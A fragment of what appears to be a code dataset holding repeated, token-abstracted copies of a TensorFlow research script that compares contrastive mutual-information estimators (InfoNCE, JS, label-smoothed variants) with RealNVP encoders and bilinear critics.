kwargs.get('compute_jacobian', False):\n results_with_singular_values.append((ResultsConfig(\n nets_name, critic_name, loss_name), results_per_run))\n return {'df': pd.concat(data_frames), 'singular_values':\n results_with_singular_values}\n\n\ndef run_all_experiments():\n tf.compat.v1.reset_default_graph()\n wpc_loss = lambda x: -infonce_lower_bound(x)\n cpc_loss = lambda x: -infonce_lower_bound(x)\n drfc_loss = lambda x: -our_lower_bound(x)\n pcc_loss = lambda x: -js_fgan_lower_bound(x)\n skew_pcc_loss = lambda x: -skew_js_fgan_lower_bound(x)\n ls_pcc_loss = lambda x: -label_smooth_pcc(x)\n pre_ls_pcc_loss = lambda x: -predict_smooth_pcc(x)\n adap_pred_smooth_pcc_loss = lambda x: -adap_pred_smooth_pcc(x)\n adap_label_smooth_pcc_loss = lambda x: -adap_label_smooth_pcc(x)\n loss_fcts = {'pcc': pcc_loss, 'cpc': cpc_loss, 'ls_pcc': ls_pcc_loss,\n 'prels_pcc': pre_ls_pcc_loss, 'adap_pred_pcc':\n adap_pred_smooth_pcc_loss, 'adap_label_pcc': adap_label_smooth_pcc_loss\n }\n kwargs = dict(shift_only=True, activation=lambda x: tf.nn.relu(x),\n kernel_initializer=tf.compat.v1.initializers.truncated_normal(\n stddev=0.0001), bias_initializer='zeros')\n nets = {'realnvp': lambda : (RealNVPBijector(DIMS // 2, n_couplings=30,\n hidden_layers=[512, 512], dense_kwargs=kwargs), RealNVPBijector(\n DIMS // 2, n_couplings=30, hidden_layers=[512, 512], dense_kwargs=\n kwargs))}\n critics = {'bilinear': lambda : BilinearCritic(feature_dim=DIMS // 2)}\n return run_sweep(nets, critics, loss_fcts, 'invertible', n_iters=21000,\n n_evals=21)\n\n\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n\n\ndef acti_func(x, a, b, c):\n x = tf.stop_gradient(x)\n alpha = tf.zeros_like(x)\n alpha = tf.where(x <= b, -a * x / b + a, alpha)\n alpha = tf.where((x > b) & (x < c), 0.0, alpha)\n alpha = tf.where(x >= c, a * x / (1 - c) + a * c / (c - 1), alpha)\n return alpha\n\n\ndef convert_to_data_frame(result, exp_name, nets, critic, loss, seed):\n \"\"\"Convert results class to a data frame.\"\"\"\n label = '{}, {}, {}'.format(nets, critic, loss)\n rows = list(zip(itertools.repeat(exp_name), itertools.repeat(nets),\n itertools.repeat(critic), itertools.repeat(loss), itertools.repeat(\n seed), result.iterations, [(-loss) for loss in result.\n testing_losses], result.classification_accuracies, itertools.repeat\n (label)))\n df_eval = pd.DataFrame(rows, columns=('exp_name', 'nets', 'Critic',\n 'Estimator', 'run', 'iteration', 'bound_value', 'accuracy', 'label'))\n df_eval['Estimator'] = df_eval['Estimator'].replace(to_replace={'cpc':\n '$CPC$', 'pcc': '$PCC$', 'drfc': '$D-RFC$', 'wpc': '$WPC$'})\n df_eval['Critic'] = df_eval['Critic'].replace(to_replace={'concat':\n 'MLP', 'separable': 'Separable', 'innerprod': 'Inner product',\n 'bilinear': 'Bilinear'})\n return df_eval\n\n\ndef apply_default_style(ax):\n ax.set_xlim([0, 20001])\n ax.get_xaxis().set_major_formatter(FuncFormatter(lambda x, p: format(\n int(x / 1000), ',')))\n ax.set_xlabel('Training steps (in thousands)')\n plt.tick_params(top=False, right=False, bottom=False, left=False)\n handles, labels = ax.get_legend_handles_labels()\n plt.legend(loc='lower right', handles=handles[1:], labels=labels[1:])\n\n\ndef get_testing_loss(x_array, session, loss, data_ph, dims, batch_size=512):\n total_loss = 0\n for i in range(0, x_array.shape[0], batch_size):\n x_slice = x_array[i:i + batch_size, :dims]\n total_loss += x_slice.shape[0] * session.run(loss, feed_dict={\n data_ph: x_slice})\n return total_loss / x_array.shape[0]\n\n\ndef get_classification_accuracy(session, codes, data_ph, dims):\n x_train_mapped = map_data(x_train, session, codes, data_ph, dims)\n x_test_mapped = map_data(x_test, session, codes, data_ph, dims)\n accuracy = logistic_fit(x_train_mapped, y_train, x_test_mapped, y_test)\n return accuracy\n\n\ndef map_data(x_array, session, codes, data_ph, dims, batch_size=512):\n x_mapped = []\n for i in range(0, x_array.shape[0], batch_size):\n x_mapped.append(session.run(codes, feed_dict={data_ph: x_array[i:i +\n batch_size, :dims]}))\n return np.concatenate(x_mapped, axis=0)\n\n\ndef reduce_logmeanexp_nodiag(x, axis=None):\n batch_size = x.shape[0]\n logsumexp = tf.reduce_logsumexp(input_tensor=x - tf.linalg.tensor_diag(\n np.inf * tf.ones(batch_size)), axis=axis)\n if axis:\n num_elem = batch_size - 1.0\n else:\n num_elem = batch_size * (batch_size - 1.0)\n return logsumexp - tf.math.log(num_elem)\n\n\ndef tuba_lower_bound(scores, log_baseline=None):\n if log_baseline is not None:\n scores -= log_baseline[:, None]\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n marg_term = tf.exp(reduce_logmeanexp_nodiag(scores))\n return 1.0 + joint_term - marg_term\n\n\n<function token>\n\n\[email protected]\ndef js_fgan_lower_bound(f):\n \"\"\"Lower bound on Jensen-Shannon divergence from Nowozin et al. (2016).\"\"\"\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n n = tf.cast(f.shape[0], tf.float32)\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return first_term - second_term\n\n\[email protected]\ndef infonce_lower_bound(scores):\n \"\"\"InfoNCE lower bound from van den Oord et al. (2018).\"\"\"\n nll = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores) - tf.\n reduce_logsumexp(input_tensor=scores, axis=1))\n mi = tf.math.log(tf.cast(scores.shape[0], tf.float32)) + nll\n return mi\n\n\[email protected]\ndef our_lower_bound(scores):\n \"\"\"Our lower bound\"\"\"\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n scores_sq = scores ** 2\n marg_num = batch_size * (batch_size - 1.0)\n marg_term = tf.reduce_sum(input_tensor=scores_sq) - tf.reduce_sum(\n input_tensor=tf.linalg.diag_part(scores_sq))\n marg_term = marg_term / marg_num\n return joint_term - 0.5 * marg_term\n\n\[email protected]\ndef skew_js_fgan_lower_bound(f):\n \"\"\"skewed js lower bound (true cross entropy)\"\"\"\n n = tf.cast(f.shape[0], tf.float32)\n alpha = 1 / n\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return alpha * first_term - (1 - alpha) * second_term\n\n\[email protected]\ndef label_smooth_pcc(f):\n \"\"\" pcc with label smoothing trick\"\"\"\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n labels = (1.0 - args.smoothing) * labels + args.smoothing / 2\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(labels, pre_prob)\n\n\[email protected]\ndef predict_smooth_pcc(f):\n \"\"\" pcc with predictor smoothing trick\"\"\"\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n pre_prob = (1.0 - args.smoothing) * pre_prob + args.smoothing / 2\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(labels, pre_prob)\n\n\[email protected]\ndef adap_label_smooth_pcc(f):\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n alpha = acti_func(pre_prob, a, b, c)\n new_labels = (1.0 - alpha) * labels + alpha / 2\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(new_labels, pre_prob)\n\n\n<function token>\n\n\ndef logistic_fit(x_train, y_train, x_test, y_test):\n logistic_regressor = sk_linear.LogisticRegression(solver='saga',\n multi_class='multinomial', tol=0.1, C=10.0)\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n logistic_regressor.fit(x_train, y_train.ravel())\n return logistic_regressor.score(x_test, y_test.ravel())\n\n\n<code token>\n\n\ndef map_fn(example):\n image = example[FEATURE_INPUT]\n image = tf.cast(image, tf.float32) / 255.0\n image = tf.reshape(image, [-1])\n label = example[FEATURE_LABEL]\n return {FEATURE_INPUT: image, FEATURE_LABEL: label}\n\n\ndef load_data(split):\n return tfds.load(TFDS_NAME, data_dir='/public/wangxu/data/', split=split\n ).cache().map(map_func=map_fn).shuffle(1000)\n\n\ndef tfds_to_np(dataset):\n features = list(tfds.as_numpy(dataset))\n images = np.stack([f[FEATURE_INPUT].ravel() for f in features])\n labels = np.stack([f[FEATURE_LABEL].ravel() for f in features])\n return images, labels\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\ndef real_nvp_default_template(hidden_layers, shift_only=False, activation=\n tf.nn.relu, name=None, *args, **kwargs):\n with tf.compat.v1.name_scope(name or 'real_nvp_default_template'):\n\n def _fn(x, output_units, **condition_kwargs):\n \"\"\"Fully connected MLP parameterized via `real_nvp_template`.\"\"\"\n if condition_kwargs:\n raise NotImplementedError(\n 'Conditioning not implemented in the default template.')\n if tensorshape_util.rank(x.shape) == 1:\n x = x[tf.newaxis, ...]\n reshape_output = lambda x: x[0]\n else:\n reshape_output = lambda x: x\n for units in hidden_layers:\n x = tf1.layers.dense(*args, inputs=x, units=units,\n activation=activation, **kwargs)\n x = tf1.layers.dense(*args, inputs=x, units=(1 if shift_only else\n 2) * output_units, activation=None, **kwargs)\n if shift_only:\n return reshape_output(x), None\n shift, log_scale = tf.split(x, 2, axis=-1)\n return reshape_output(shift), 1e-07 + tf.nn.softplus(reshape_output\n (log_scale))\n return tf1.make_template('real_nvp_default_template', _fn)\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\ndef train(g1, g2, critic, loss_fn, learning_rate, batch_size=\n TRAIN_BATCH_SIZE, n_iters=15000, n_evals=15, compute_jacobian=False,\n noise_std=0.0, data_dimensions=DIMS // 2, n_iter=1, loss_name='InfoNCE'):\n \"\"\"Runs the training loop for a fixed model.\n\n Args:\n g1: Function, maps input1 to representation.\n g2: Function, maps input2 to representation.\n critic: Function, maps two representations to scalar.\n loss_fn: Function, mutual information estimator.\n learning_rate: Learning rate.\n batch_size: Training batch size.\n n_iters: Number of optimization iterations.\n n_evals: Number of model evaluations.\n compute_jacobian: Whether to estimate the singular values of the Jacobian.\n noise_std: Standard deviation for the Gaussian noise. Default is 0.0.\n data_dimensions: The dimension of the data. By default it's half of the\n original data dimension.\n Returns:\n Returns and instance of `Results` tuple.\n \"\"\"\n x_1, x_2, _ = processed_train_data(data_dimensions, batch_size)\n if noise_std > 0.0:\n assert x_1.shape == x_2.shape, 'X1 and X2 shapes must agree to add noise!'\n noise = noise_std * tf.random.normal(x_1.shape)\n x_1 += noise\n x_2 += noise\n code_1, code_2 = g1(x_1), g2(x_2)\n critic_matrix = critic(code_1, code_2)\n if compute_jacobian:\n jacobian = gradients.batch_jacobian(code_1, x_1, use_pfor=False)\n singular_values = tf.linalg.svd(jacobian, compute_uv=False)\n loss = loss_fn(critic_matrix)\n optimizer = tf.compat.v1.train.AdamOptimizer(learning_rate=learning_rate)\n if not loss_name == 'wpc':\n optimizer_op = optimizer.minimize(loss)\n else:\n gvs = optimizer.compute_gradients(loss)\n capped_gvs = [(tf.clip_by_value(grad, -1.0, 1.0), var) for grad,\n var in gvs]\n optimizer_op = optimizer.apply_gradients(capped_gvs)\n with tf.compat.v1.Session() as session:\n session.run(tf.compat.v1.global_variables_initializer())\n data_ph = tf.compat.v1.placeholder(tf.float32, shape=[None,\n data_dimensions])\n data_ph_noisy = data_ph + noise_std * tf.random.normal(tf.shape(\n input=data_ph))\n codes = g1(data_ph_noisy)\n (training_losses, testing_losses, classification_accuracies, iters,\n sigmas) = [], [], [], [], []\n for iter_n in range(n_iters):\n if iter_n % (n_iters // n_evals) == 0:\n iters.append(iter_n)\n accuracy = get_classification_accuracy(session, codes,\n data_ph, data_dimensions)\n classification_accuracies.append(accuracy)\n testing_losses.append(get_testing_loss(x_test, session,\n loss, data_ph, data_dimensions))\n if compute_jacobian:\n sigmas.append(session.run(singular_values))\n print(\n '{:d}th iter Loss_name {} Step {:>10d} fit {:>.5f} DS {} B {:d} lr {:f}'\n .format(n_iter, loss_name, iter_n, accuracy, args.\n dataset, args.batch_size, args.lr))\n loss_np, _ = session.run([loss, optimizer_op])\n training_losses.append(loss_np)\n return Results(iterations=iters, training_losses=training_losses,\n testing_losses=testing_losses, classification_accuracies=\n classification_accuracies, singular_values=sigmas)\n\n\ndef run_sweep(nets, critics, loss_fns, exp_name, **kwargs):\n \"\"\"Runs the sweep across encoder networks, critics, and the estimators.\"\"\"\n grid = itertools.product(nets, critics, loss_fns)\n data_frames = []\n results_with_singular_values = []\n for nets_name, critic_name, loss_name in grid:\n print('[New experiment] encoder: {}, critic: {}, loss: {}'.format(\n nets_name, critic_name, loss_name))\n with tf.Graph().as_default():\n g1, g2 = nets[nets_name]()\n critic = critics[critic_name]()\n loss_fn = loss_fns[loss_name]\n results_per_run = []\n for n in range(NRUNS):\n try:\n print('{:d}th run, loss: {}'.format(n, loss_name))\n if loss_name == 'drfc' and TFDS_NAME == 'cifar10':\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n else:\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n results_per_run.append(results)\n except Exception as ex:\n print('Run {} failed! Error: {}'.format(n, ex))\n for i, result in enumerate(results_per_run):\n data_frames.append(convert_to_data_frame(result, exp_name,\n nets_name, critic_name, loss_name, i))\n if kwargs.get('compute_jacobian', False):\n results_with_singular_values.append((ResultsConfig(\n nets_name, critic_name, loss_name), results_per_run))\n return {'df': pd.concat(data_frames), 'singular_values':\n results_with_singular_values}\n\n\ndef run_all_experiments():\n tf.compat.v1.reset_default_graph()\n wpc_loss = lambda x: -infonce_lower_bound(x)\n cpc_loss = lambda x: -infonce_lower_bound(x)\n drfc_loss = lambda x: -our_lower_bound(x)\n pcc_loss = lambda x: -js_fgan_lower_bound(x)\n skew_pcc_loss = lambda x: -skew_js_fgan_lower_bound(x)\n ls_pcc_loss = lambda x: -label_smooth_pcc(x)\n pre_ls_pcc_loss = lambda x: -predict_smooth_pcc(x)\n adap_pred_smooth_pcc_loss = lambda x: -adap_pred_smooth_pcc(x)\n adap_label_smooth_pcc_loss = lambda x: -adap_label_smooth_pcc(x)\n loss_fcts = {'pcc': pcc_loss, 'cpc': cpc_loss, 'ls_pcc': ls_pcc_loss,\n 'prels_pcc': pre_ls_pcc_loss, 'adap_pred_pcc':\n adap_pred_smooth_pcc_loss, 'adap_label_pcc': adap_label_smooth_pcc_loss\n }\n kwargs = dict(shift_only=True, activation=lambda x: tf.nn.relu(x),\n kernel_initializer=tf.compat.v1.initializers.truncated_normal(\n stddev=0.0001), bias_initializer='zeros')\n nets = {'realnvp': lambda : (RealNVPBijector(DIMS // 2, n_couplings=30,\n hidden_layers=[512, 512], dense_kwargs=kwargs), RealNVPBijector(\n DIMS // 2, n_couplings=30, hidden_layers=[512, 512], dense_kwargs=\n kwargs))}\n critics = {'bilinear': lambda : BilinearCritic(feature_dim=DIMS // 2)}\n return run_sweep(nets, critics, loss_fcts, 'invertible', n_iters=21000,\n n_evals=21)\n\n\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n\n\ndef acti_func(x, a, b, c):\n x = tf.stop_gradient(x)\n alpha = tf.zeros_like(x)\n alpha = tf.where(x <= b, -a * x / b + a, alpha)\n alpha = tf.where((x > b) & (x < c), 0.0, alpha)\n alpha = tf.where(x >= c, a * x / (1 - c) + a * c / (c - 1), alpha)\n return alpha\n\n\ndef convert_to_data_frame(result, exp_name, nets, critic, loss, seed):\n \"\"\"Convert results class to a data frame.\"\"\"\n label = '{}, {}, {}'.format(nets, critic, loss)\n rows = list(zip(itertools.repeat(exp_name), itertools.repeat(nets),\n itertools.repeat(critic), itertools.repeat(loss), itertools.repeat(\n seed), result.iterations, [(-loss) for loss in result.\n testing_losses], result.classification_accuracies, itertools.repeat\n (label)))\n df_eval = pd.DataFrame(rows, columns=('exp_name', 'nets', 'Critic',\n 'Estimator', 'run', 'iteration', 'bound_value', 'accuracy', 'label'))\n df_eval['Estimator'] = df_eval['Estimator'].replace(to_replace={'cpc':\n '$CPC$', 'pcc': '$PCC$', 'drfc': '$D-RFC$', 'wpc': '$WPC$'})\n df_eval['Critic'] = df_eval['Critic'].replace(to_replace={'concat':\n 'MLP', 'separable': 'Separable', 'innerprod': 'Inner product',\n 'bilinear': 'Bilinear'})\n return df_eval\n\n\ndef apply_default_style(ax):\n ax.set_xlim([0, 20001])\n ax.get_xaxis().set_major_formatter(FuncFormatter(lambda x, p: format(\n int(x / 1000), ',')))\n ax.set_xlabel('Training steps (in thousands)')\n plt.tick_params(top=False, right=False, bottom=False, left=False)\n handles, labels = ax.get_legend_handles_labels()\n plt.legend(loc='lower right', handles=handles[1:], labels=labels[1:])\n\n\ndef get_testing_loss(x_array, session, loss, data_ph, dims, batch_size=512):\n total_loss = 0\n for i in range(0, x_array.shape[0], batch_size):\n x_slice = x_array[i:i + batch_size, :dims]\n total_loss += x_slice.shape[0] * session.run(loss, feed_dict={\n data_ph: x_slice})\n return total_loss / x_array.shape[0]\n\n\ndef get_classification_accuracy(session, codes, data_ph, dims):\n x_train_mapped = map_data(x_train, session, codes, data_ph, dims)\n x_test_mapped = map_data(x_test, session, codes, data_ph, dims)\n accuracy = logistic_fit(x_train_mapped, y_train, x_test_mapped, y_test)\n return accuracy\n\n\ndef map_data(x_array, session, codes, data_ph, dims, batch_size=512):\n x_mapped = []\n for i in range(0, x_array.shape[0], batch_size):\n x_mapped.append(session.run(codes, feed_dict={data_ph: x_array[i:i +\n batch_size, :dims]}))\n return np.concatenate(x_mapped, axis=0)\n\n\ndef reduce_logmeanexp_nodiag(x, axis=None):\n batch_size = x.shape[0]\n logsumexp = tf.reduce_logsumexp(input_tensor=x - tf.linalg.tensor_diag(\n np.inf * tf.ones(batch_size)), axis=axis)\n if axis:\n num_elem = batch_size - 1.0\n else:\n num_elem = batch_size * (batch_size - 1.0)\n return logsumexp - tf.math.log(num_elem)\n\n\ndef tuba_lower_bound(scores, log_baseline=None):\n if log_baseline is not None:\n scores -= log_baseline[:, None]\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n marg_term = tf.exp(reduce_logmeanexp_nodiag(scores))\n return 1.0 + joint_term - marg_term\n\n\n<function token>\n\n\[email protected]\ndef js_fgan_lower_bound(f):\n \"\"\"Lower bound on Jensen-Shannon divergence from Nowozin et al. (2016).\"\"\"\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n n = tf.cast(f.shape[0], tf.float32)\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return first_term - second_term\n\n\[email protected]\ndef infonce_lower_bound(scores):\n \"\"\"InfoNCE lower bound from van den Oord et al. (2018).\"\"\"\n nll = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores) - tf.\n reduce_logsumexp(input_tensor=scores, axis=1))\n mi = tf.math.log(tf.cast(scores.shape[0], tf.float32)) + nll\n return mi\n\n\[email protected]\ndef our_lower_bound(scores):\n \"\"\"Our lower bound\"\"\"\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n scores_sq = scores ** 2\n marg_num = batch_size * (batch_size - 1.0)\n marg_term = tf.reduce_sum(input_tensor=scores_sq) - tf.reduce_sum(\n input_tensor=tf.linalg.diag_part(scores_sq))\n marg_term = marg_term / marg_num\n return joint_term - 0.5 * marg_term\n\n\[email protected]\ndef skew_js_fgan_lower_bound(f):\n \"\"\"skewed js lower bound (true cross entropy)\"\"\"\n n = tf.cast(f.shape[0], tf.float32)\n alpha = 1 / n\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return alpha * first_term - (1 - alpha) * second_term\n\n\[email protected]\ndef label_smooth_pcc(f):\n \"\"\" pcc with label smoothing trick\"\"\"\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n labels = (1.0 - args.smoothing) * labels + args.smoothing / 2\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(labels, pre_prob)\n\n\[email protected]\ndef predict_smooth_pcc(f):\n \"\"\" pcc with predictor smoothing trick\"\"\"\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n pre_prob = (1.0 - args.smoothing) * pre_prob + args.smoothing / 2\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(labels, pre_prob)\n\n\[email protected]\ndef adap_label_smooth_pcc(f):\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n alpha = acti_func(pre_prob, a, b, c)\n new_labels = (1.0 - alpha) * labels + alpha / 2\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(new_labels, pre_prob)\n\n\n<function token>\n\n\ndef logistic_fit(x_train, y_train, x_test, y_test):\n logistic_regressor = sk_linear.LogisticRegression(solver='saga',\n multi_class='multinomial', tol=0.1, C=10.0)\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n logistic_regressor.fit(x_train, y_train.ravel())\n return logistic_regressor.score(x_test, y_test.ravel())\n\n\n<code token>\n\n\ndef map_fn(example):\n image = example[FEATURE_INPUT]\n image = tf.cast(image, tf.float32) / 255.0\n image = tf.reshape(image, [-1])\n label = example[FEATURE_LABEL]\n return {FEATURE_INPUT: image, FEATURE_LABEL: 